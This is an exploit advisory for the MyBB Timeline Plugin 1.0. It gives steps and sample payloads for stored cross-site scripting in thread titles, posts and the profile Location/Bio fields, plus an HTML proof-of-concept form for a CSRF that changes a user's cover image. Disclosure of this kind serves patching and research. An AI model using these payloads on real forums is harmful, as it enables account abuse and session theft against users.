# Exploit Title: MyBB Timeline Plugin 1.0 - Cross-Site Scripting / CSRF  
# Date: 1/21/2021  
# Author: 0xB9  
# Software Link:  
# Version: 1.0  
# Tested on: Windows 10  
1. Description:  
MyBB Timeline replaces the default MyBB user profile. This introduces cross-site scripting on user profiles & a CSRF that allows for the users timeline banner/image to be changed.  
2. Proof of Concept:  
~ XSS via Thread/Post ~  
- Make a new thread or reply to an existing thread  
- Input a payload in either the thread title or main post itself <script>alert('XSS')</script>  
Payload will execute when visiting your profile.  
~ XSS via Location/Bio ~  
- Go to User CP -> Edit Profile  
- Input a payload in the Location/Bio <script>alert('XSS')</script>  
Payload will execute when visiting your profile.  
~ CSRF ~  
<form class="coverpicForm" action="http://localhost/mybb/timeline.php?action=profile&uid=1" style="display: block;">  
<input type="text" name="coverpic" placeholder="Add Image URL" required="">  
<input type="hidden" name="do_coverpic" value="change">  
<input type="submit" value="Change">